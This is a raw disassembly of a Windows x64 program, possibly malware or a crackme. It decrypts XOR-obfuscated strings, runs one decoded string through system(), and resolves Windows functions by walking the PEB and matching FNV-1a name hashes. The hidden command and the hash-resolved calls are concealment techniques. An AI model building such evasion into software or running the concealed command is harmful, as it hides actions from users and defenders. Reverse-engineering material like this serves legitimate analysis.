pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002d1e0
cmp r8d, 0x14
jge 0x14002d333
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14002d300
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017b30
movups xmm0, xmmword [0x1400837d8]
movups xmmword [rbp + 0x30], xmm0
movzx eax, word [0x1400837e8]
mov word [rbp + 0x40], ax
movzx eax, byte [0x1400837ea]
mov byte [rbp + 0x42], al
mov r8d, esi
cmp r14d, 2
jl 0x14002d4be
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002d3b1
cmp r8d, 0x13
jge 0x14002d503
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14002d4d0
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
lea rdx, [rbp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017b30
lea rax, [rbp + 0x670]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x670]
call fcn.140009ae0
mov rbx, rax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x750]
call fcn.140009ae0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x1400a0ad0]
call fcn.140004670
cmp byte [0x1400a0d08], 0
jne 0x14002d5cf
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.14001a0b0
movzx ecx, byte [rax + 2]
test cl, cl
je 0x14002d5a1
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor cl, 0x3b
mov byte [rax + 2], cl
mov rdx, rax
mov rcx, r8
call fcn.140017d90
mov rcx, rax
lea rdx, [0x1400a0d10]
call fcn.140017d70
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [str.TU_Y]
movups xmmword [rbp + 0x30], xmm0
movsd xmm0, qword [0x1400838c0]
movsd qword [rbp + 0x40], xmm0
movzx eax, word [0x1400838c8]
mov word [rbp + 0x48], ax
cmp byte [0x1400838c9], 0
je 0x14002d793
mov r8d, esi
cmp r14d, 2
jl 0x14002d74d
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002d640
cmp r8d, 0x1a
jge 0x14002d793
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002d760
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsd xmm0, qword [0x1400838d0]
movzx eax, byte [0x1400838d8]
movsd qword [rsp + 0x40], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x40], 0xa
xor byte [rsp + 0x41], 0x3a
xor byte [rsp + 0x42], 0x3b
xor byte [rsp + 0x43], 0x3c
xor byte [rsp + 0x44], 0x3d
xor byte [rsp + 0x45], 0x3e
xor byte [rsp + 0x46], 0x3f
xor byte [rsp + 0x47], 0x40
xor al, 0x41
mov byte [rsp + 0x48], al
lea rdx, [rsp + 0x40]
call fcn.140017d90
lea rdx, [0x1400a0c30]
cmp qword [0x1400a0c48], 0xf
cmova rdx, qword [0x1400a0c30]
mov r8, qword [0x1400a0c40]
mov rcx, rax
call fcn.1400182b0
lea rdx, [0x1400a0cb0]
lea rcx, [rbp + 0x670]
call fcn.140009ae0
mov rcx, rax
call fcn.140029410
mov qword [rbp + 0x70], rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x710]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x710]
movaps xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rbp + 0x720]
movaps xmmword [rbp + 0x40], xmm1
mov eax, dword [rbp + 0x730]
mov dword [rbp + 0x50], eax
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x750]
call fcn.1400294f0
mov rbx, rax
movsd xmm0, qword [0x1400838e0]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x1400838e8]
mov dword [rsp + 0x48], eax
movzx eax, word [0x1400838ec]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x1400838ee]
mov byte [rsp + 0x4e], al
mov r8d, esi
cmp r14d, 2
jl 0x14002d9bf
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm2, xmmword [0x140083980]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400838e0]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140083990]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14002d9d0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14002da22
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.1400182b0
nop
lea rcx, [rbp + 0x750]
call fcn.140009a40
lea rdx, [0x1400a0ce8]
lea rcx, [rbp + 0x670]
call fcn.140009ae0
mov rcx, rax
call fcn.140029410
mov qword [rbp + 0x70], rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x710]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x710]
movaps xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rbp + 0x720]
movaps xmmword [rbp + 0x40], xmm1
mov eax, dword [rbp + 0x730]
mov dword [rbp + 0x50], eax
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x750]
call fcn.1400294f0
mov rbx, rax
movsd xmm0, qword [0x1400838f0]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x1400838f8]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x1400838fc]
mov byte [rsp + 0x4c], al
mov r8d, esi
cmp r14d, 2
jl 0x14002dbd6
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm2, xmmword [0x140083980]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400838f0]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140083990]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14002dbf0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14002dc42
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.1400182b0
nop
lea rcx, [rbp + 0x750]
call fcn.140009a40
lea rcx, [0x1400a0ad0]
call fcn.1400073f0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x140083900]
mov word [rbp + 0x78], ax
movzx eax, byte [0x140083902]
mov byte [rbp + 0x78], 0xa
xor byte [rbp + 0x79], 0x3a
xor al, 0x3b
mov byte [rbp + 0x7a], al
lea rdx, [rbp + 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
movups xmm0, xmmword [0x140083908]
movups xmmword [rbp + 0x30], xmm0
mov eax, dword [0x140083918]
mov dword [rbp + 0x40], eax
cmp byte [0x14008391b], 0
je 0x14002de53
mov r8d, esi
cmp r14d, 2
jl 0x14002de0d
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002dd00
cmp r8d, 0x14
jge 0x14002de53
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14002de20
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
movups xmm0, xmmword [0x140083920]
movups xmmword [rbp + 0x30], xmm0
movzx eax, byte [0x140083930]
mov byte [rbp + 0x40], al
mov r8d, esi
cmp r14d, 2
jl 0x14002dfcd
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002dec0
cmp r8d, 0x11
jge 0x14002e013
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14002dfe0
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
lea rdx, [rbp + 0xf4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002e0c4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002e0c4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14002e0bf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14002e0a0
cmp edx, 0x53b2070f
je 0x14002e0c9
test r9d, r9d
jne 0x14002e080
mov rax, qword [rax]
jmp 0x14002e050
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
movabs rcx, 0xf748892fcf49d269
mov qword [rsp + 0x60], rcx
movabs rdi, 0x35bf5d1c3a58cd70
mov qword [rsp + 0x68], rdi
movabs r15, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002e1b4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002e1b4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14002e1af
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14002e190
cmp edx, 0x53b2070f
je 0x14002e1b9
test r9d, r9d
jne 0x14002e170
mov rax, qword [rax]
jmp 0x14002e140
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
movabs rcx, 0xf748892fe21ed26b
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rdi
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x80]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002e284
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002e284
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14002e27f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14002e260
cmp edx, 0x53b2070f
je 0x14002e289
test r9d, r9d
jne 0x14002e240
mov rax, qword [rax]
jmp 0x14002e210
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
movabs rcx, 0xa155d26cdc5ac57d
mov qword [rsp + 0x70], rcx
movabs rcx, 0x35bf5d1c5634c532
mov qword [rsp + 0x78], rcx
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002e366
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002e366
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov ecx, dword [rdx + r11]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14002e361
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14002e340
cmp r8d, 0xf407fac3
je 0x14002e36b
test r9d, r9d
jne 0x14002e320
mov rax, qword [rax]
jmp 0x14002e2f0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
movabs rdi, 0xd727e854e86ae556
mov qword [rbp + 0x670], rdi
movabs r15, 0x71e60e5d7d10e745
mov qword [rbp + 0x678], r15
movabs r12, 0x80172e586e71e95a
mov qword [rbp + 0x680], r12
movabs r13, 0x18941555599ae454
mov qword [rbp + 0x688], r13
movabs rcx, 0xe014031c965ce455
mov qword [rbp + 0x690], rcx
movabs rdx, 0x826ca51c1388a11c
mov qword [rbp + 0x698], rdx
movabs rcx, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x750], rcx
movabs rcx, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x758], rcx
movabs rcx, 0xd5516f1c3d24a11c
mov qword [rbp + 0x760], rcx
movabs rcx, 0x5ede511c1fd0a11c
mov qword [rbp + 0x768], rcx
